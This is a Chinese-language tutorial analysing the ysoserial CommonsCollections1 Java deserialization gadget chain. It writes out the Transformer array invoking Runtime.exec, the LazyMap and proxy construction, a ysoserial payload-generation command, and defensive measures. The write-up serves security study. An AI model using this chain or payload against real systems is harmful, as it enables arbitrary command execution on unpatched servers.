java反序列化学习-ysoserial-CommonsCollections1
字数 1812 2025-08-10 20:35:54
Java反序列化漏洞分析:CommonsCollections1利用链详解
一、漏洞背景
Apache Commons Collections是一个广泛使用的Java库,提供了许多有用的集合类和工具。在3.1版本中,由于某些类的设计缺陷,导致存在反序列化漏洞,攻击者可以通过构造特殊的序列化数据在目标系统上执行任意代码。
二、漏洞依赖
- 受影响版本:commons-collections 3.1
- Java版本限制:需要满足
isApplicableJavaVersion()条件(通常Java 7及以下版本)
三、核心组件分析
1. Transformer接口及其实现类
Transformer是Commons Collections中的一个核心接口,定义了一个transform()方法:
public interface Transformer {
Object transform(Object input);
}
关键实现类:
1.1 ConstantTransformer
public class ConstantTransformer implements Transformer {
private final Object iConstant;
public Object transform(Object input) {
return iConstant; // 总是返回构造时传入的常量
}
}
1.2 InvokerTransformer
public class InvokerTransformer implements Transformer {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs); // 通过反射调用指定方法
}
}
1.3 ChainedTransformer
public class ChainedTransformer implements Transformer {
private final Transformer[] iTransformers;
public Object transform(Object object) {
for (Transformer transformer : iTransformers) {
object = transformer.transform(object); // 链式调用多个Transformer
}
return object;
}
}
2. LazyMap类
public class LazyMap extends AbstractMapDecorator {
protected final Transformer factory;
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = factory.transform(key); // 关键点:调用Transformer
super.map.put(key, value);
return value;
}
return super.map.get(key);
}
}
3. AnnotationInvocationHandler类
sun.reflect.annotation.AnnotationInvocationHandler是Java内置的动态代理类:
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
public Object invoke(Object proxy, Method method, Object[] args) {
// 当代理对象方法被调用时会执行此方法
String member = method.getName();
if (member.equals("toString")) { /*...*/ }
else if (member.equals("hashCode")) { /*...*/ }
else if (member.equals("annotationType")) { /*...*/ }
else if (member.equals("equals")) { /*...*/ }
Object result = memberValues.get(member); // 关键点:调用Map的get方法
// ...
}
private void readObject(ObjectInputStream var1) {
var1.defaultReadObject();
// 反序列化时会触发entrySet()等方法的调用
AnnotationType var2 = AnnotationType.getInstance(this.type);
Iterator var4 = this.memberValues.entrySet().iterator();
// ...
}
}
四、漏洞利用链分析
1. 利用链构建过程
-
构造Transformer链:
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, execArgs), new ConstantTransformer(1) }; -
创建LazyMap:
Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); -
创建动态代理:
Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); -
设置实际Transformer链:
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
2. 完整利用链
ObjectInputStream.readObject()
-> AnnotationInvocationHandler.readObject()
-> memberValues.entrySet().iterator() // 代理对象方法调用
-> AnnotationInvocationHandler.invoke()
-> memberValues.get() // 调用LazyMap的get方法
-> LazyMap.get()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform() // 返回Runtime.class
-> InvokerTransformer.transform() // 调用getMethod("getRuntime")
-> InvokerTransformer.transform() // 调用invoke(null)
-> InvokerTransformer.transform() // 调用exec(command)
五、关键点详解
1. Transformer链执行流程
ConstantTransformer(Runtime.class).transform()→ 返回Runtime.classInvokerTransformer("getMethod").transform(Runtime.class)→ 相当于调用Runtime.class.getMethod("getRuntime")InvokerTransformer("invoke").transform(Method)→ 相当于调用method.invoke(null)获取Runtime实例InvokerTransformer("exec").transform(Runtime)→ 相当于调用Runtime.getRuntime().exec(command)
2. 动态代理机制
通过Proxy.newProxyInstance()创建代理对象时,任何对代理对象方法的调用都会先进入InvocationHandler.invoke()方法。在漏洞利用中:
- 创建
AnnotationInvocationHandler作为InvocationHandler - 将
LazyMap设置为memberValues - 当反序列化过程中调用
entrySet()等方法时,会触发代理机制,最终调用LazyMap.get()
3. 延迟执行技巧
初始构造ChainedTransformer时只包含无害的ConstantTransformer(1),在对象构造完成后再通过反射将实际的恶意Transformer链设置进去。这样可以避免在构造过程中就执行恶意代码。
六、防御措施
-
升级Commons Collections:
- 升级到3.2.2或更高版本
- 使用
SerializationKiller等安全补丁
-
Java安全配置:
- 使用
ObjectInputFilter限制反序列化的类 - 配置
java.security.manager
- 使用
-
代码层面:
- 避免直接反序列化不可信数据
- 使用白名单验证反序列化对象
七、漏洞验证
使用ysoserial生成payload:
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
发送payload到目标系统进行反序列化,如果漏洞存在则会执行指定命令。
八、总结
CommonsCollections1利用链通过精心构造的Transformer链,结合LazyMap的延迟计算特性和Java动态代理机制,在反序列化过程中实现了任意命令执行。理解这个漏洞需要掌握:
- Java反序列化机制
- Commons Collections的Transformer设计
- Java动态代理工作原理
- 反射机制的使用
该漏洞是Java反序列化漏洞的经典案例,后续许多反序列化漏洞的利用思路都与此类似。